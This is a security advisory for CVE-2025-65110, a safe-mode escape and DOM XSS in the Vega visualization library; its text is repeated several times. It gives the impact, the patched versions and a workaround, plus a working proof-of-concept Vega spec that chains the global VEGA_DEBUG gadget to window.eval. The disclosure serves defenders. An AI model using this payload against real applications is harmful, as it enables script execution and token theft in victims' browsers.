CVE-2025-65110

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. Prior to versions 6.1.2 and 5.6.3, applications meeting two conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. First, they use vega in an application that attaches both vega library and a vega.View instance similar to the Vega Editor to the global window, or has any other satisfactory function gadgets in the global scope. Second, they allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code). This vulnerability allows for DOM XSS, potentially stored, potentially reflected, depending on how the library is being used. The vulnerability requires user interaction with the page to trigger. An attacker can exploit this issue by tricking a user into opening a malicious Vega specification. Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the application’s domain. This can lead to theft of sensitive information such as authentication tokens, manipulation of data displayed to the user, or execution of unauthorized actions on behalf of the victim. This exploit compromises confidentiality and integrity of impacted applications.Patched versions are available in [email protected] (requires ESM) for Vega v6 and [email protected] (no ESM needed) for Vega v5. As a workaround, do not attach vega or vega.View instances to global variables or the window as the editor used to do. This is a development-only debugging practice that should not be used in any situation where Vega/Vega-lite definitions can come from untrusted parties.

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. Prior to versions 6.1.2 and 5.6.3, applications meeting two conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. First, they use vega in an application that attaches both vega library and a vega.View instance similar to the Vega Editor to the global window, or has any other satisfactory function gadgets in the global scope. Second, they allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code). This vulnerability allows for DOM XSS, potentially stored, potentially reflected, depending on how the library is being used. The vulnerability requires user interaction with the page to trigger. An attacker can exploit this issue by tricking a user into opening a malicious Vega specification. Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the application’s domain. This can lead to theft of sensitive information such as authentication tokens, manipulation of data displayed to the user, or execution of unauthorized actions on behalf of the victim. This exploit compromises confidentiality and integrity of impacted applications.Patched versions are available in [email protected] (requires ESM) for Vega v6 and [email protected] (no ESM needed) for Vega v5. As a workaround, do not attach vega or vega.View instances to global variables or the window as the editor used to do. This is a development-only debugging practice that should not be used in any situation where Vega/Vega-lite definitions can come from untrusted parties.

Impact

Applications meeting these two conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used.

1. Use vega in an application that attaches both vega library and a vega.View instance similar to the Vega Editor to the global window, or has any other satisfactory function gadgets in the global scope
2. Allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code)

Patches

• With Vega v6, use [email protected] (requires ESM)
• With Vega v5, use [email protected] (No ESM needed)

Workarounds

• Do not attach vega or vega.View instances to global variables or the window as the editor used to do here . This is a development-only debugging practice that should not be used in any situation where Vega/Vega-lite definitions can come from untrusted parties.

POC Summary

Vega offers the evaluation of expressions in a secure context. Arbitrary function call is prohibited. When an event is exposed to an expression, member get of window objects is possible. Because of this exposure, in some applications, a crafted object that sets a map value with a function copied from the window that results in calling this.foo(this.bar) can be passed to the vlSelectionTuples function, calling the copied map function, allowing DOM XSS to be achieved.

In practice, an accessible gadget like this exists in the global VEGA_DEBUG code.

vlSelectionTuples({
    map: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on,
    eventName: event.view.console.log,
    _handlers:{
        undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'
    },
    _handlerIndex: event.view.eval
})

POC Details

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "width": 350,
  "height": 350,
  "autosize": "none",
  "description": "Toggle Button",
  "signals": [
    {
      "name": "toggle",
      "value": true,
      "on": [
        {
          "events": {"type": "click", "markname": "circle"},
          "update": "toggle ? false : true"
        }
      ]
    },
    {
      "name": "addFilter",
      "on": [
        {
          "events": {"type": "mousemove", "source": "window"},
          "update": "vlSelectionTuples({map:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})"
        }
      ]
    }
  ]
}

This payload creates a scenario where whenever the mouse is moved, the map function of the provided object is called by the code that implements the vlSelectionTuples function. The map function has been set to a "gadget function" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following:

   on(a, o) {
        const u = this.eventName(a)
          , d = this._handlers;
        if (this._handlerIndex(d[u], a, o) < 0) {
        ....
        }
        ....
   }

1. Set u to the result of calling this.eventName with undefined
   • For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined
2. Sets d to this._handlers
   • For our object, we have this defined to be used later
3. Calls this._handlerIndex with the result of u indexed into the d object as the first argument, and undefined as the second two.
   • For our object, _handlerIndex is set to window.eval, and when indexing undefined into the _handlers, a string to be evald containing the XSS payload is returned.

This results in XSS by using a globally scoped gadget to get full blown eval.

PoC Link

Navigate…

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. Prior to versions 6.1.2 and 5.6.3, applications meeting two conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. First, they use vega in an application that attaches both vega library and a vega.View instance similar to the Vega Editor to the global window, or has any other satisfactory function gadgets in the global scope. Second, they allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code). This vulnerability allows for DOM XSS, potentially stored, potentially reflected, depending on how the library is being used. The vulnerability requires user interaction with the page to trigger. An attacker can exploit this issue by tricking a user into opening a malicious Vega specification. Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the application’s domain. This can lead to theft of sensitive information such as authentication tokens, manipulation of data displayed to the user, or execution of unauthorized actions on behalf of the victim. This exploit compromises confidentiality and integrity of impacted applications.Patched versions are available in [email protected] (requires ESM) for Vega v6 and [email protected] (no ESM needed) for Vega v5. As a workaround, do not attach vega or vega.View instances to global variables or the window as the editor used to do. This is a development-only debugging practice that should not be used in any situation where Vega/Vega-lite definitions can come from untrusted parties.

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. Prior to versions 6.1.2 and 5.6.3, applications meeting two conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. First, they use vega in an application that attaches both vega library and a vega.View instance similar to the Vega Editor to the global window, or has any other satisfactory function gadgets in the global scope. Second, they allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code). This vulnerability allows for DOM XSS, potentially stored, potentially reflected, depending on how the library is being used. The vulnerability requires user interaction with the page to trigger. An attacker can exploit this issue by tricking a user into opening a malicious Vega specification. Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the application’s domain. This can lead to theft of sensitive information such as authentication tokens, manipulation of data displayed to the user, or execution of unauthorized actions on behalf of the victim. This exploit compromises confidentiality and integrity of impacted applications.Patched versions are available in [email protected] (requires ESM) for Vega v6 and [email protected] (no ESM needed) for Vega v5. As a workaround, do not attach vega or vega.View instances to global variables or the window as the editor used to do. This is a development-only debugging practice that should not be used in any situation where Vega/Vega-lite definitions can come from untrusted parties.

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. Prior to versions 6.1.2 and 5.6.3, applications meeting two conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. First, they use vega in an application that attaches both vega library and a vega.View instance similar to the Vega Editor to the global window, or has any other satisfactory function gadgets in the global scope. Second, they allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code). This vulnerability allows for DOM XSS, potentially stored, potentially reflected, depending on how the library is being used. The vulnerability requires user interaction with the page to trigger. An attacker can exploit this issue by tricking a user into opening a malicious Vega specification. Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the application’s domain. This can lead to theft of sensitive information such as authentication tokens, manipulation of data displayed to the user, or execution of unauthorized actions on behalf of the victim. This exploit compromises confidentiality and integrity of impacted applications.Patched versions are available in [email protected] (requires ESM) for Vega v6 and [email protected] (no ESM needed) for Vega v5. As a workaround, do not attach vega or vega.View instances to global variables or the window as the editor used to do. This is a development-only debugging practice that should not be used in any situation where Vega/Vega-lite definitions can come from untrusted parties.

Impact

Applications meeting these two conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used.

1. Use vega in an application that attaches both vega library and a vega.View instance similar to the Vega Editor to the global window, or has any other satisfactory function gadgets in the global scope
2. Allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code)

Patches

• With Vega v6, use [email protected] (requires ESM)
• With Vega v5, use [email protected] (No ESM needed)

Workarounds

• Do not attach vega or vega.View instances to global variables or the window as the editor used to do here . This is a development-only debugging practice that should not be used in any situation where Vega/Vega-lite definitions can come from untrusted parties.

POC Summary

Vega offers the evaluation of expressions in a secure context. Arbitrary function call is prohibited. When an event is exposed to an expression, member get of window objects is possible. Because of this exposure, in some applications, a crafted object that sets a map value with a function copied from the window that results in calling this.foo(this.bar) can be passed to the vlSelectionTuples function, calling the copied map function, allowing DOM XSS to be achieved.

In practice, an accessible gadget like this exists in the global VEGA_DEBUG code.

vlSelectionTuples({
    map: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on,
    eventName: event.view.console.log,
    _handlers:{
        undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'
    },
    _handlerIndex: event.view.eval
})

POC Details

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "width": 350,
  "height": 350,
  "autosize": "none",
  "description": "Toggle Button",
  "signals": [
    {
      "name": "toggle",
      "value": true,
      "on": [
        {
          "events": {"type": "click", "markname": "circle"},
          "update": "toggle ? false : true"
        }
      ]
    },
    {
      "name": "addFilter",
      "on": [
        {
          "events": {"type": "mousemove", "source": "window"},
          "update": "vlSelectionTuples({map:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})"
        }
      ]
    }
  ]
}

This payload creates a scenario where whenever the mouse is moved, the map function of the provided object is called by the code that implements the vlSelectionTuples function. The map function has been set to a "gadget function" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following:

   on(a, o) {
        const u = this.eventName(a)
          , d = this._handlers;
        if (this._handlerIndex(d[u], a, o) < 0) {
        ....
        }
        ....
   }

1. Set u to the result of calling this.eventName with undefined
   • For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined
2. Sets d to this._handlers
   • For our object, we have this defined to be used later
3. Calls this._handlerIndex with the result of u indexed into the d object as the first argument, and undefined as the second two.
   • For our object, _handlerIndex is set to window.eval, and when indexing undefined into the _handlers, a string to be evald containing the XSS payload is returned.

This results in XSS by using a globally scoped gadget to get full blown eval.

PoC Link

Navigate…

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. Prior to versions 6.1.2 and 5.6.3, applications meeting two conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. First, they use vega in an application that attaches both vega library and a vega.View instance similar to the Vega Editor to the global window, or has any other satisfactory function gadgets in the global scope. Second, they allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code). This vulnerability allows for DOM XSS, potentially stored, potentially reflected, depending on how the library is being used. The vulnerability requires user interaction with the page to trigger. An attacker can exploit this issue by tricking a user into opening a malicious Vega specification. Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the application’s domain. This can lead to theft of sensitive information such as authentication tokens, manipulation of data displayed to the user, or execution of unauthorized actions on behalf of the victim. This exploit compromises confidentiality and integrity of impacted applications.Patched versions are available in [email protected] (requires ESM) for Vega v6 and [email protected] (no ESM needed) for Vega v5. As a workaround, do not attach vega or vega.View instances to global variables or the window as the editor used to do. This is a development-only debugging practice that should not be used in any situation where Vega/Vega-lite definitions can come from untrusted parties.